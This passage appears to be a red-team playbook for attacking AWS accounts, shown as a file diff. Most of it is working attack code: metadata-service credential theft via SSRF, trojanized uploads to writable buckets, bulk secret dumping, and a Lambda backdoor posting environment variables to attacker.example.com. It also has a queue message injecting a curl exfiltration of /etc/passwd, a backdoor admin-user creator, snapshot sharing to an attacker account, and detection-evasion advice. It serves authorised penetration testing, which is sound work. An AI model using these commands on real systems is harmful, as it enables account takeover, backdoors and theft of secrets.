$env:AWS_SECRET_ACCESS_KEY = $creds.SecretAccessKey
|
|
257
|
+
$env:AWS_SESSION_TOKEN = $creds.SessionToken
|
|
258
|
+
```
|
|
259
|
+
|
|
260
|
+
### Phase 3: IMDS Exploitation
|
|
261
|
+
|
|
262
|
+
**Step 9 — Access IMDS v1 from a compromised EC2 instance**
|
|
263
|
+
|
|
264
|
+
```bash
|
|
265
|
+
# IMDSv1 — no token required (legacy, no auth)
|
|
266
|
+
curl http://169.254.169.254/latest/meta-data/
|
|
267
|
+
curl http://169.254.169.254/latest/meta-data/iam/security-credentials/
|
|
268
|
+
curl http://169.254.169.254/latest/meta-data/iam/security-credentials/<role-name>
|
|
269
|
+
|
|
270
|
+
# Python alternative
|
|
271
|
+
python3 -c "import urllib.request; print(urllib.request.urlopen('http://169.254.169.254/latest/meta-data/iam/security-credentials/').read())"
|
|
272
|
+
```
|
|
273
|
+
|
|
274
|
+
**Step 10 — Exploit IMDS v1 via SSRF**
|
|
275
|
+
|
|
276
|
+
```bash
|
|
277
|
+
# If you have SSRF on a web app running in EC2, chain to IMDS:
|
|
278
|
+
# Example: SSRF parameter is ?url=
|
|
279
|
+
curl "https://target-app.example.com/fetch?url=http://169.254.169.254/latest/meta-data/iam/security-credentials/"
|
|
280
|
+
# Then fetch the role name returned, then:
|
|
281
|
+
curl "https://target-app.example.com/fetch?url=http://169.254.169.254/latest/meta-data/iam/security-credentials/<role-name>"
|
|
282
|
+
# Response contains: AccessKeyId, SecretAccessKey, Token, Expiration
|
|
283
|
+
```
|
|
284
|
+
|
|
285
|
+
**Step 11 — Access IMDS v2 (token-required)**
|
|
286
|
+
|
|
287
|
+
```bash
|
|
288
|
+
# IMDSv2 requires a PUT to get a token first
|
|
289
|
+
TOKEN=$(curl -s -X PUT "http://169.254.169.254/latest/api/token" \
|
|
290
|
+
-H "X-aws-ec2-metadata-token-ttl-seconds: 21600")
|
|
291
|
+
|
|
292
|
+
curl -s -H "X-aws-ec2-metadata-token: $TOKEN" \
|
|
293
|
+
http://169.254.169.254/latest/meta-data/iam/security-credentials/
|
|
294
|
+
|
|
295
|
+
curl -s -H "X-aws-ec2-metadata-token: $TOKEN" \
|
|
296
|
+
http://169.254.169.254/latest/meta-data/iam/security-credentials/<role-name>
|
|
297
|
+
```
|
|
298
|
+
|
|
299
|
+
Note: IMDSv2 via SSRF requires the SSRF to support custom request headers and PUT method. Standard GET-only SSRFs cannot exploit IMDSv2.
|
|
300
|
+
|
|
301
|
+
### Phase 4: S3 Exploitation
|
|
302
|
+
|
|
303
|
+
**Step 12 — Enumerate public buckets**
|
|
304
|
+
|
|
305
|
+
```bash
|
|
306
|
+
# List buckets you have access to
|
|
307
|
+
aws s3 ls --profile target
|
|
308
|
+
|
|
309
|
+
# Check bucket ACL and policy
|
|
310
|
+
aws s3api get-bucket-acl --bucket <bucket-name> --profile target
|
|
311
|
+
aws s3api get-bucket-policy --bucket <bucket-name> --profile target
|
|
312
|
+
aws s3api get-bucket-policy-status --bucket <bucket-name> --profile target # isPublic flag
|
|
313
|
+
|
|
314
|
+
# Try unauthenticated access
|
|
315
|
+
aws s3 ls s3://<bucket-name> --no-sign-request
|
|
316
|
+
aws s3 cp s3://<bucket-name>/sensitive-file.txt /tmp/ --no-sign-request
|
|
317
|
+
```
|
|
318
|
+
|
|
319
|
+
**Step 13 — Scan for public buckets with S3Scanner**
|
|
320
|
+
|
|
321
|
+
```bash
|
|
322
|
+
# Install and run
|
|
323
|
+
pip3 install s3scanner
|
|
324
|
+
s3scanner scan --buckets-file wordlist.txt
|
|
325
|
+
# Or pipe a target list
|
|
326
|
+
echo "company-backup" | s3scanner scan
|
|
327
|
+
```
|
|
328
|
+
|
|
329
|
+
**Step 14 — Exploit writable S3 buckets**
|
|
330
|
+
|
|
331
|
+
```bash
|
|
332
|
+
# Test write access
|
|
333
|
+
echo "rt-test" | aws s3 cp - s3://<bucket-name>/rt-canary.txt --profile target
|
|
334
|
+
|
|
335
|
+
# If bucket hosts a static website — upload malicious JS
|
|
336
|
+
aws s3 cp ./malicious.js s3://<website-bucket>/app.js --acl public-read --profile target
|
|
337
|
+
|
|
338
|
+
# If bucket is used for software distribution — supply chain attack surface
|
|
339
|
+
aws s3 cp ./trojanized-package.zip s3://<dist-bucket>/release/v1.0.zip --profile target
|
|
340
|
+
```
|
|
341
|
+
|
|
342
|
+
**Step 15 — Find secrets in S3**
|
|
343
|
+
|
|
344
|
+
```bash
|
|
345
|
+
# Download all objects and scan with trufflehog
|
|
346
|
+
aws s3 sync s3://<bucket-name> /tmp/bucket-dump/ --profile target
|
|
347
|
+
trufflehog filesystem /tmp/bucket-dump/ --json
|
|
348
|
+
|
|
349
|
+
# Or scan directly from S3
|
|
350
|
+
trufflehog s3 --bucket <bucket-name> --profile target
|
|
351
|
+
```
|
|
352
|
+
|
|
353
|
+
### Phase 5: Secrets Enumeration
|
|
354
|
+
|
|
355
|
+
**Step 16 — Secrets Manager**
|
|
356
|
+
|
|
357
|
+
```bash
|
|
358
|
+
# List all secrets
|
|
359
|
+
aws secretsmanager list-secrets --profile target
|
|
360
|
+
|
|
361
|
+
# Get secret value
|
|
362
|
+
aws secretsmanager get-secret-value --secret-id <secret-name-or-arn> --profile target
|
|
363
|
+
|
|
364
|
+
# Bulk retrieve all secrets (Python)
|
|
365
|
+
python3 - << 'EOF'
|
|
366
|
+
import boto3, json
|
|
367
|
+
client = boto3.client('secretsmanager', region_name='us-east-1')
|
|
368
|
+
paginator = client.get_paginator('list_secrets')
|
|
369
|
+
for page in paginator.paginate():
|
|
370
|
+
for secret in page['SecretList']:
|
|
371
|
+
try:
|
|
372
|
+
val = client.get_secret_value(SecretId=secret['ARN'])
|
|
373
|
+
print(f"[+] {secret['Name']}: {val.get('SecretString', '<binary>')}")
|
|
374
|
+
except Exception as e:
|
|
375
|
+
print(f"[-] {secret['Name']}: {e}")
|
|
376
|
+
EOF
|
|
377
|
+
```
|
|
378
|
+
|
|
379
|
+
**Step 17 — Parameter Store (SSM)**
|
|
380
|
+
|
|
381
|
+
```bash
|
|
382
|
+
# List all parameters
|
|
383
|
+
aws ssm describe-parameters --profile target
|
|
384
|
+
|
|
385
|
+
# Get all SecureString parameters (decrypted)
|
|
386
|
+
aws ssm get-parameters-by-path \
|
|
387
|
+
--path "/" \
|
|
388
|
+
--recursive \
|
|
389
|
+
--with-decryption \
|
|
390
|
+
--profile target
|
|
391
|
+
|
|
392
|
+
# Windows PowerShell equivalent
|
|
393
|
+
aws ssm get-parameters-by-path --path "/" --recursive --with-decryption --profile target | ConvertFrom-Json | Select-Object -ExpandProperty Parameters
|
|
394
|
+
```
|
|
395
|
+
|
|
396
|
+
**Step 18 — CloudFormation stack outputs**
|
|
397
|
+
|
|
398
|
+
```bash
|
|
399
|
+
# List stacks
|
|
400
|
+
aws cloudformation list-stacks --profile target
|
|
401
|
+
|
|
402
|
+
# Dump outputs (often contain DB passwords, API keys)
|
|
403
|
+
aws cloudformation describe-stacks --profile target | \
|
|
404
|
+
python3 -c "import sys,json; data=json.load(sys.stdin); [print(o) for s in data['Stacks'] for o in s.get('Outputs',[])]"
|
|
405
|
+
|
|
406
|
+
# Get template (may contain hardcoded secrets)
|
|
407
|
+
aws cloudformation get-template --stack-name <stack-name> --profile target
|
|
408
|
+
```
|
|
409
|
+
|
|
410
|
+
### Phase 6: Lambda Exploitation
|
|
411
|
+
|
|
412
|
+
**Step 19 — Enumerate Lambda functions**
|
|
413
|
+
|
|
414
|
+
```bash
|
|
415
|
+
aws lambda list-functions --profile target
|
|
416
|
+
aws lambda get-function --function-name <name> --profile target
|
|
417
|
+
aws lambda get-function-configuration --function-name <name> --profile target
|
|
418
|
+
|
|
419
|
+
# Download function code
|
|
420
|
+
aws lambda get-function --function-name <name> --query 'Code.Location' --output text --profile target
|
|
421
|
+
# Use the pre-signed URL to download the zip
|
|
422
|
+
```
|
|
423
|
+
|
|
424
|
+
**Step 20 — Extract Lambda environment variables**
|
|
425
|
+
|
|
426
|
+
```bash
|
|
427
|
+
aws lambda get-function-configuration \
|
|
428
|
+
--function-name <name> \
|
|
429
|
+
--query 'Environment.Variables' \
|
|
430
|
+
--profile target
|
|
431
|
+
# Often contains DB_PASSWORD, API_KEY, JWT_SECRET
|
|
432
|
+
```
|
|
433
|
+
|
|
434
|
+
**Step 21 — Inject payload into Lambda (if UpdateFunctionCode permission exists)**
|
|
435
|
+
|
|
436
|
+
```bash
|
|
437
|
+
# Replace function code with backdoor
|
|
438
|
+
cat > /tmp/backdoor.py << 'EOF'
|
|
439
|
+
import boto3, os, subprocess
|
|
440
|
+
|
|
441
|
+
def handler(event, context):
|
|
442
|
+
# Exfiltrate environment variables
|
|
443
|
+
import urllib.request, json
|
|
444
|
+
data = json.dumps(dict(os.environ)).encode()
|
|
445
|
+
req = urllib.request.Request('https://attacker.example.com/collect', data=data)
|
|
446
|
+
urllib.request.urlopen(req)
|
|
447
|
+
return {"status": "ok"}
|
|
448
|
+
EOF
|
|
449
|
+
|
|
450
|
+
zip /tmp/backdoor.zip /tmp/backdoor.py
|
|
451
|
+
aws lambda update-function-code \
|
|
452
|
+
--function-name <name> \
|
|
453
|
+
--zip-file fileb:///tmp/backdoor.zip \
|
|
454
|
+
--profile target
|
|
455
|
+
```
|
|
456
|
+
|
|
457
|
+
**Step 22 — Abuse Lambda event injection (SQS/SNS trigger)**
|
|
458
|
+
|
|
459
|
+
```bash
|
|
460
|
+
# If Lambda processes SQS messages without sanitization, inject commands via message body
|
|
461
|
+
aws sqs send-message \
|
|
462
|
+
--queue-url <queue-url> \
|
|
463
|
+
--message-body '{"command": "ls /etc; curl https://attacker.example.com/$(cat /etc/passwd | base64)"}' \
|
|
464
|
+
--profile target
|
|
465
|
+
```
|
|
466
|
+
|
|
467
|
+
### Phase 7: Cross-Account Attacks
|
|
468
|
+
|
|
469
|
+
**Step 23 — Enumerate trust relationships**
|
|
470
|
+
|
|
471
|
+
```bash
|
|
472
|
+
# Find roles with cross-account trust
|
|
473
|
+
aws iam list-roles --profile target | \
|
|
474
|
+
python3 -c "
|
|
475
|
+
import sys, json
|
|
476
|
+
roles = json.load(sys.stdin)['Roles']
|
|
477
|
+
for r in roles:
|
|
478
|
+
doc = r['AssumeRolePolicyDocument']
|
|
479
|
+
for stmt in doc.get('Statement', []):
|
|
480
|
+
principal = stmt.get('Principal', {})
|
|
481
|
+
if isinstance(principal, dict) and 'AWS' in principal:
|
|
482
|
+
p = principal['AWS']
|
|
483
|
+
if isinstance(p, list):
|
|
484
|
+
for a in p:
|
|
485
|
+
if '<target-account-id>' not in a:
|
|
486
|
+
print(f\"Cross-account trust: {r['RoleName']} trusts {a}\")
|
|
487
|
+
elif '<target-account-id>' not in p:
|
|
488
|
+
print(f\"Cross-account trust: {r['RoleName']} trusts {p}\")
|
|
489
|
+
"
|
|
490
|
+
```
|
|
491
|
+
|
|
492
|
+
**Step 24 — Assume cross-account role**
|
|
493
|
+
|
|
494
|
+
```bash
|
|
495
|
+
aws sts assume-role \
|
|
496
|
+
--role-arn arn:aws:iam::<external-account-id>:role/<role-name> \
|
|
497
|
+
--role-session-name cross-account-rt \
|
|
498
|
+
--profile target
|
|
499
|
+
```
|
|
500
|
+
|
|
501
|
+
**Step 25 — Exfiltrate snapshots to attacker account**
|
|
502
|
+
|
|
503
|
+
```bash
|
|
504
|
+
# Share EBS snapshot with attacker account
|
|
505
|
+
aws ec2 modify-snapshot-attribute \
|
|
506
|
+
--snapshot-id snap-xxxxxxxxxxxxxxxxx \
|
|
507
|
+
--attribute createVolumePermission \
|
|
508
|
+
--operation-type add \
|
|
509
|
+
--user-ids <attacker-account-id> \
|
|
510
|
+
--profile target
|
|
511
|
+
|
|
512
|
+
# Share RDS snapshot
|
|
513
|
+
aws rds modify-db-snapshot-attribute \
|
|
514
|
+
--db-snapshot-identifier <snapshot-id> \
|
|
515
|
+
--attribute-name restore \
|
|
516
|
+
--values-to-add <attacker-account-id> \
|
|
517
|
+
--profile target
|
|
518
|
+
```
|
|
519
|
+
|
|
520
|
+
---
|
|
521
|
+
|
|
522
|
+
## 5. Real Attack Scenarios
|
|
523
|
+
|
|
524
|
+
### Scenario A: SSRF to Full Account Takeover via IMDS + IAM Escalation
|
|
525
|
+
|
|
526
|
+
**Context:** Target runs a web application on EC2 with a URL-fetch feature. SSRF is discovered. The instance has an attached IAM role.
|
|
527
|
+
|
|
528
|
+
**Chain:**
|
|
529
|
+
|
|
530
|
+
```
|
|
531
|
+
[1] Discover SSRF endpoint
|
|
532
|
+
[2] Probe IMDS for role name
|
|
533
|
+
[3] Steal temporary credentials
|
|
534
|
+
[4] Enumerate IAM permissions
|
|
535
|
+
[5] Exploit iam:CreatePolicyVersion or iam:AttachRolePolicy
|
|
536
|
+
[6] Achieve AdministratorAccess
|
|
537
|
+
[7] Pivot to all services
|
|
538
|
+
```
|
|
539
|
+
|
|
540
|
+
```bash
|
|
541
|
+
# Step 1-2: Confirm SSRF and get role name
|
|
542
|
+
curl "https://victim.example.com/fetch?url=http://169.254.169.254/latest/meta-data/iam/security-credentials/"
|
|
543
|
+
# Output: WebApp-EC2-Role
|
|
544
|
+
|
|
545
|
+
# Step 3: Steal credentials
|
|
546
|
+
curl "https://victim.example.com/fetch?url=http://169.254.169.254/latest/meta-data/iam/security-credentials/WebApp-EC2-Role"
|
|
547
|
+
# Output: { AccessKeyId, SecretAccessKey, Token, Expiration }
|
|
548
|
+
|
|
549
|
+
# Configure stolen credentials
|
|
550
|
+
export AWS_ACCESS_KEY_ID=ASIAxxxxxxxxxxxxxxxx
|
|
551
|
+
export AWS_SECRET_ACCESS_KEY=xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx
|
|
552
|
+
export AWS_SESSION_TOKEN=xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx
|
|
553
|
+
|
|
554
|
+
# Step 4: Who am I?
|
|
555
|
+
aws sts get-caller-identity
|
|
556
|
+
|
|
557
|
+
# Step 5: Enumerate permissions
|
|
558
|
+
aws iam list-attached-role-policies --role-name WebApp-EC2-Role
|
|
559
|
+
aws iam get-policy-version --policy-arn <arn> --version-id v1
|
|
560
|
+
|
|
561
|
+
# Pacu automated scan
|
|
562
|
+
python3 pacu.py
|
|
563
|
+
# Pacu> import_keys stolen
|
|
564
|
+
# Pacu> run iam__privesc_scan
|
|
565
|
+
|
|
566
|
+
# Step 6: Exploit found path — e.g., iam:PutUserPolicy
|
|
567
|
+
aws iam put-user-policy \
|
|
568
|
+
--user-name <any-user-you-can-modify> \
|
|
569
|
+
--policy-name escalate \
|
|
570
|
+
--policy-document '{"Version":"2012-10-17","Statement":[{"Effect":"Allow","Action":"*","Resource":"*"}]}'
|
|
571
|
+
|
|
572
|
+
# Step 7: Dump Secrets Manager, S3, RDS
|
|
573
|
+
aws secretsmanager list-secrets
|
|
574
|
+
aws s3 ls
|
|
575
|
+
aws rds describe-db-instances
|
|
576
|
+
```
|
|
577
|
+
|
|
578
|
+
**OPSEC Rating:** HIGH DETECTION RISK — SSRF to IMDS generates EC2 metadata access logs if IMDSv2 is enforced. IAM policy modifications generate CloudTrail events.
|
|
579
|
+
|
|
580
|
+
---
|
|
581
|
+
|
|
582
|
+
### Scenario B: Public S3 Bucket to Credential Exfiltration
|
|
583
|
+
|
|
584
|
+
**Context:** External recon identified a misconfigured S3 bucket belonging to the target. The bucket contains application deployment scripts with hardcoded AWS credentials.
|
|
585
|
+
|
|
586
|
+
**Chain:**
|
|
587
|
+
|
|
588
|
+
```
|
|
589
|
+
[1] Discover public bucket via subdomain/naming convention
|
|
590
|
+
[2] List bucket contents unauthenticated
|
|
591
|
+
[3] Download and scan for secrets
|
|
592
|
+
[4] Use leaked AKID to pivot into the account
|
|
593
|
+
[5] Lateral move to higher-privileged resources
|
|
594
|
+
```
|
|
595
|
+
|
|
596
|
+
```bash
|
|
597
|
+
# Step 1: Guess/enumerate bucket names
|
|
598
|
+
# Common patterns: company-name-backup, company-dev-assets, company-prod-static
|
|
599
|
+
aws s3 ls s3://targetcompany-backups --no-sign-request
|
|
600
|
+
aws s3 ls s3://targetcompany-dev --no-sign-request
|
|
601
|
+
aws s3 ls s3://targetcompany-logs --no-sign-request
|
|
602
|
+
|
|
603
|
+
# Or use S3Scanner with a wordlist
|
|
604
|
+
s3scanner scan --buckets-file company-buckets.txt
|
|
605
|
+
|
|
606
|
+
# Step 2: List and download all objects
|
|
607
|
+
aws s3 sync s3://targetcompany-dev /tmp/s3dump/ --no-sign-request
|
|
608
|
+
|
|
609
|
+
# Step 3: Scan for secrets
|
|
610
|
+
trufflehog filesystem /tmp/s3dump/ --json | tee /tmp/findings.json
|
|
611
|
+
grep -i "AKIA\|aws_secret\|aws_access" /tmp/s3dump/ -r
|
|
612
|
+
|
|
613
|
+
# Step 4: Test discovered credentials
|
|
614
|
+
export AWS_ACCESS_KEY_ID=AKIAxxxx
|
|
615
|
+
export AWS_SECRET_ACCESS_KEY=xxxx
|
|
616
|
+
aws sts get-caller-identity
|
|
617
|
+
|
|
618
|
+
# Step 5: Proceed with IAM enumeration (Phase 2 above)
|
|
619
|
+
cloudfox aws all-checks -o ./cf-output
|
|
620
|
+
```
|
|
621
|
+
|
|
622
|
+
**OPSEC Rating:** MEDIUM — Unauthenticated S3 access may appear in S3 server access logs if enabled. No CloudTrail event is generated for anonymous requests unless data events are explicitly configured.
|
|
623
|
+
|
|
624
|
+
---
|
|
625
|
+
|
|
626
|
+
### Scenario C: Lambda Compromise via Insecure Deployment Pipeline
|
|
627
|
+
|
|
628
|
+
**Context:** Assume-breach with developer credentials. The developer can update Lambda code. A Lambda function runs with an admin-equivalent execution role used for "convenience."
|
|
629
|
+
|
|
630
|
+
**Chain:**
|
|
631
|
+
|
|
632
|
+
```
|
|
633
|
+
[1] Identify Lambda functions and their execution roles
|
|
634
|
+
[2] Verify execution role permissions (admin-equivalent)
|
|
635
|
+
[3] Update function code to exfiltrate environment + call STS
|
|
636
|
+
[4] Invoke function to gain admin credentials
|
|
637
|
+
[5] Pivot to full account control
|
|
638
|
+
```
|
|
639
|
+
|
|
640
|
+
```bash
|
|
641
|
+
# Step 1: List functions and check execution roles
|
|
642
|
+
aws lambda list-functions --profile dev-user | \
|
|
643
|
+
python3 -c "import sys,json; [print(f['FunctionName'], f['Role']) for f in json.load(sys.stdin)['Functions']]"
|
|
644
|
+
|
|
645
|
+
# Step 2: Check the execution role's policies
|
|
646
|
+
aws iam list-attached-role-policies --role-name <lambda-exec-role-name> --profile dev-user
|
|
647
|
+
# If AdministratorAccess or iam:* is attached — exploit
|
|
648
|
+
|
|
649
|
+
# Step 3: Craft payload that uses boto3 (available in Lambda runtime) to create a backdoor IAM user
|
|
650
|
+
cat > /tmp/pwn.py << 'EOF'
|
|
651
|
+
import boto3, json
|
|
652
|
+
|
|
653
|
+
def handler(event, context):
|
|
654
|
+
iam = boto3.client('iam')
|
|
655
|
+
# Create backdoor admin user
|
|
656
|
+
try:
|
|
657
|
+
iam.create_user(UserName='svc-monitor')
|
|
658
|
+
iam.attach_user_policy(
|
|
659
|
+
UserName='svc-monitor',
|
|
660
|
+
PolicyArn='arn:aws:iam::aws:policy/AdministratorAccess'
|
|
661
|
+
)
|
|
662
|
+
key = iam.create_access_key(UserName='svc-monitor')['AccessKey']
|
|
663
|
+
# Write to a bucket attacker controls
|
|
664
|
+
s3 = boto3.client('s3')
|
|
665
|
+
s3.put_object(
|
|
666
|
+
Bucket='attacker-exfil-bucket',
|
|
667
|
+
Key='creds.json',
|
|
668
|
+
Body=json.dumps({'id': key['AccessKeyId'], 'secret': key['SecretAccessKey']})
|
|
669
|
+
)
|
|
670
|
+
except Exception as e:
|
|
671
|
+
return {'error': str(e)}
|
|
672
|
+
return {'status': 'deployed'}
|
|
673
|
+
EOF
|
|
674
|
+
|
|
675
|
+
zip /tmp/pwn.zip /tmp/pwn.py
|
|
676
|
+
|
|
677
|
+
# Step 4: Upload and invoke
|
|
678
|
+
aws lambda update-function-code \
|
|
679
|
+
--function-name <target-function> \
|
|
680
|
+
--zip-file fileb:///tmp/pwn.zip \
|
|
681
|
+
--profile dev-user
|
|
682
|
+
|
|
683
|
+
aws lambda invoke \
|
|
684
|
+
--function-name <target-function> \
|
|
685
|
+
/tmp/lambda-out.json \
|
|
686
|
+
--profile dev-user
|
|
687
|
+
|
|
688
|
+
# Step 5: Use the newly created admin credentials
|
|
689
|
+
export AWS_ACCESS_KEY_ID=<new-key-id>
|
|
690
|
+
export AWS_SECRET_ACCESS_KEY=<new-secret>
|
|
691
|
+
unset AWS_SESSION_TOKEN
|
|
692
|
+
aws sts get-caller-identity
|
|
693
|
+
```
|
|
694
|
+
|
|
695
|
+
**OPSEC Rating:** HIGH DETECTION RISK — `lambda:UpdateFunctionCode` and `iam:CreateUser` are logged in CloudTrail. Use an existing function if possible and restore original code after.
|
|
696
|
+
|
|
697
|
+
---
|
|
698
|
+
|
|
699
|
+
## 6. OPSEC Considerations
|
|
700
|
+
|
|
701
|
+
| Technique | CloudTrail Event | Detection Risk | Mitigation |
|
|
702
|
+
|-----------|-----------------|----------------|------------|
|
|
703
|
+
| `sts:GetCallerIdentity` | `GetCallerIdentity` | LOW — common API call | Blend in with normal usage patterns |
|
|
704
|
+
| IAM enumeration (list-policies) | `ListPolicies`, `GetPolicyVersion` | LOW-MEDIUM | Use read-only calls; GuardDuty may flag unusual enumeration volume |
|
|
705
|
+
| IMDS v1 access | No AWS-level log (local EC2 only) | LOW externally | VPC Flow Logs capture source IP; host-level monitoring may detect |
|
|
706
|
+
| IMDS v1 via SSRF | Application logs | MEDIUM | Depends on app logging; IMDSv2 blocks this vector |
|
|
707
|
+
| `iam:CreatePolicyVersion` | `CreatePolicyVersion` | HIGH | Triggers GuardDuty `Policy:IAMUser/RootCredentialUsage` or custom rules |
|
|
708
|
+
| `lambda:UpdateFunctionCode` | `UpdateFunctionCode20150331v2` | HIGH | Most orgs alert on Lambda code changes in prod |
|
|
709
|
+
| `iam:CreateUser` + attach policy | `CreateUser`, `AttachUserPolicy` | HIGH | Triggers GuardDuty `Persistence:IAMUser/UserPermissions` |
|
|
710
|
+
| S3 unauthenticated access | S3 server access logs (if enabled) | LOW-MEDIUM | No CloudTrail for anonymous; enable data events for detection |
|
|
711
|
+
| `secretsmanager:GetSecretValue` | `GetSecretValue` | MEDIUM-HIGH | CloudTrail data events; unusual callers trigger alerts |
|
|
712
|
+
| `sts:AssumeRole` cross-account | `AssumeRole` | MEDIUM | GuardDuty `Discovery:IAMUser/AnomalousBehavior` |
|
|
713
|
+
| EC2 snapshot sharing | `ModifySnapshotAttribute` | HIGH | Unusual cross-account sharing triggers alerts |
|
|
714
|
+
|
|
715
|
+
**General OPSEC rules:**
|
|
716
|
+
- Never use `--debug` flag in production engagements — it generates excessive API calls.
|
|
717
|
+
- Prefer using existing IAM roles/users over creating new ones.
|
|
718
|
+
- Restore any modified Lambda function code after testing.
|
|
719
|
+
- Use `--region` explicitly rather than relying on defaults — avoids accidental calls to wrong regions.
|
|
720
|
+
- Time-box assumed role sessions to minimum needed TTL.
|
|
721
|
+
- Delete any test S3 objects, Lambda functions, or IAM policy versions created during testing.
|
|
722
|
+
- Prefer `--output json` and parse programmatically — avoids paging calls that generate multiple API requests.
|
|
723
|
+
|
|
724
|
+
---
|
|
725
|
+
|
|
726
|
+
## 7. Integration with RTExit Autodoc Engine
|
|
727
|
+
|
|
728
|
+
### Logging Commands
|
|
729
|
+
|
|
730
|
+
```bash
|
|
731
|
+
# Start an AWS engagement session
|
|
732
|
+
rt-status --start-session --target "AWS Account: <account-id>" --scope "IAM, S3, Lambda"
|
|
733
|
+
|
|
734
|
+
# Log a finding
|
|
735
|
+
rt-status --log-finding \
|
|
736
|
+
--severity HIGH \
|
|
737
|
+
--title "IMDS v1 Enabled — Credential Theft via SSRF" \
|
|
738
|
+
--description "EC2 instance <instance-id> allows unauthenticated IMDS v1 access. Credentials for role <role-name> retrieved via SSRF." \
|
|
739
|
+
--evidence "curl http://169.254.169.254/latest/meta-data/iam/security-credentials/<role>" \
|
|
740
|
+
--recommendation "Enforce IMDSv2 via instance metadata options: --http-tokens required"
|
|
741
|
+
|
|
742
|
+
# Log privilege escalation finding
|
|
743
|
+
rt-status --log-finding \
|
|
744
|
+
--severity CRITICAL \
|
|
745
|
+
--title "IAM Privilege Escalation: iam:CreatePolicyVersion" \
|
|
746
|
+
--description "IAM user <username> can create new policy versions, enabling self-escalation to AdministratorAccess." \
|
|
747
|
+
--cve "N/A" \
|
|
748
|
+
--cvss "9.0" \
|
|
749
|
+
--evidence "aws iam create-policy-version --policy-arn <arn> --policy-document {...} --set-as-default"
|
|
750
|
+
```
|
|
751
|
+
|
|
752
|
+
### Autodoc Artifact Collection
|
|
753
|
+
|
|
754
|
+
```bash
|
|
755
|
+
# Collect IAM enumeration output
|
|
756
|
+
aws iam get-account-authorization-details --profile target > ./autodoc/iam-full-export.json
|
|
757
|
+
rt-agent-scribe --ingest ./autodoc/iam-full-export.json --label "IAM Authorization Details"
|
|
758
|
+
|
|
759
|
+
# Collect CloudFox output
|
|
760
|
+
cloudfox aws --profile target all-checks -o ./autodoc/cloudfox/
|
|
761
|
+
rt-agent-scribe --ingest-dir ./autodoc/cloudfox/ --label "CloudFox Analysis"
|
|
762
|
+
|
|
763
|
+
# Collect ScoutSuite HTML report
|
|
764
|
+
scout aws --profile target --report-dir ./autodoc/scoutsuite/
|
|
765
|
+
rt-agent-scribe --ingest ./autodoc/scoutsuite/scoutsuite-report.html --label "ScoutSuite Cloud Audit"
|
|
766
|
+
```
|
|
767
|
+
|
|
768
|
+
### RTExit Report Commands
|
|
769
|
+
|
|
770
|
+
```bash
|
|
771
|
+
# Generate cloud-specific finding report
|
|
772
|
+
rt-agent-scribe --generate-report \
|
|
773
|
+
--template cloud-aws \
|
|
774
|
+
--output ./reports/aws-exploitation-findings.md \
|
|
775
|
+
--include-screenshots
|
|
776
|
+
|
|
777
|
+
# Map findings to MITRE ATT&CK Cloud matrix
|
|
778
|
+
rt-attack-surface-map --framework "MITRE ATT&CK Cloud" \
|
|
779
|
+
--findings ./reports/aws-exploitation-findings.md \
|
|
780
|
+
--output ./reports/attack-map-aws.json
|
|
781
|
+
```
|
|
782
|
+
|
|
783
|
+
---
|
|
784
|
+
|
|
785
|
+
## 8. Output and Documentation
|
|
786
|
+
|
|
787
|
+
### Findings to Document per Phase
|
|
788
|
+
|
|
789
|
+
**Identity and Access:**
|
|
790
|
+
- Account ID, principal ARN
|
|
791
|
+
- All IAM policies (inline + managed) with effective permissions
|
|
792
|
+
- Privilege escalation paths identified (Pacu output)
|
|
793
|
+
- Roles with overly permissive trust policies
|
|
794
|
+
|
|
795
|
+
**IMDS:**
|
|
796
|
+
- Whether IMDSv1 is enabled (document instance ID)
|
|
797
|
+
- Credentials retrieved (sanitize before including in report — show type, not actual keys)
|
|
798
|
+
- Role name and attached permissions
|
|
799
|
+
|
|
800
|
+
**S3:**
|
|
801
|
+
- Public buckets discovered (ACL status, policy status)
|
|
802
|
+
- Sensitive data categories found (PII, credentials, source code)
|
|
803
|
+
- Write/delete access confirmed
|
|
804
|
+
|
|
805
|
+
**Secrets:**
|
|
806
|
+
- Secrets Manager secrets accessible (name, type — do not include raw values in report)
|
|
807
|
+
- SSM Parameter Store SecureString parameters retrieved
|
|
808
|
+
- CloudFormation outputs with sensitive values
|
|
809
|
+
|
|
810
|
+
**Lambda:**
|
|
811
|
+
- Functions with sensitive environment variables
|
|
812
|
+
- Functions with admin-equivalent execution roles
|
|
813
|
+
- Functions where code was modified (include rollback confirmation)
|
|
814
|
+
|
|
815
|
+
### Evidence Template
|
|
816
|
+
|
|
817
|
+
```
|
|
818
|
+
Finding: [Title]
|
|
819
|
+
Severity: CRITICAL / HIGH / MEDIUM / LOW / INFO
|
|
820
|
+
Asset: arn:aws:... or Account ID
|
|
821
|
+
Steps to Reproduce:
|
|
822
|
+
1. ...
|
|
823
|
+
2. ...
|
|
824
|
+
Evidence:
|
|
825
|
+
[Command run] → [Sanitized output]
|
|
826
|
+
Business Impact:
|
|
827
|
+
[What an attacker can achieve]
|
|
828
|
+
Recommendation:
|
|
829
|
+
[Specific AWS remediation steps]
|
|
830
|
+
References:
|
|
831
|
+
- https://docs.aws.amazon.com/...
|
|
832
|
+
```
|
|
833
|
+
|
|
834
|
+
---
|
|
835
|
+
|
|
836
|
+
## 9. Resources
|
|
837
|
+
|
|
838
|
+
### Official Tools
|
|
839
|
+
- **Pacu** (AWS exploitation framework): https://github.com/RhinoSecurityLabs/pacu
|
|
840
|
+
- **ScoutSuite** (multi-cloud auditing): https://github.com/nccgroup/ScoutSuite
|
|
841
|
+
- **CloudFox** (cloud privilege escalation): https://github.com/BishopFox/cloudfox
|
|
842
|
+
- **S3Scanner**: https://github.com/sa7mon/S3Scanner
|
|
843
|
+
- **TruffleHog v3**: https://github.com/trufflesecurity/trufflehog
|
|
844
|
+
- **enumerate-iam**: https://github.com/andresriancho/enumerate-iam
|
|
845
|
+
- **WeirdAAL** (AWS Attack Library): https://github.com/carnal0wnage/weirdAAL
|
|
846
|
+
- **aws-escalate**: https://github.com/RhinoSecurityLabs/Security-Research/tree/master/tools/aws-escalate
|
|
847
|
+
- **Smogcloud**: https://github.com/BishopFox/smogcloud
|
|
848
|
+
|
|
849
|
+
### References and Research
|
|
850
|
+
- **Rhino Security Labs — AWS IAM Privilege Escalation Methods**: https://rhinosecuritylabs.com/aws/aws-privilege-escalation-methods-mitigation/
|
|
851
|
+
- **HackTricks — AWS Pentesting**: https://book.hacktricks.xyz/pentesting-cloud/aws-security
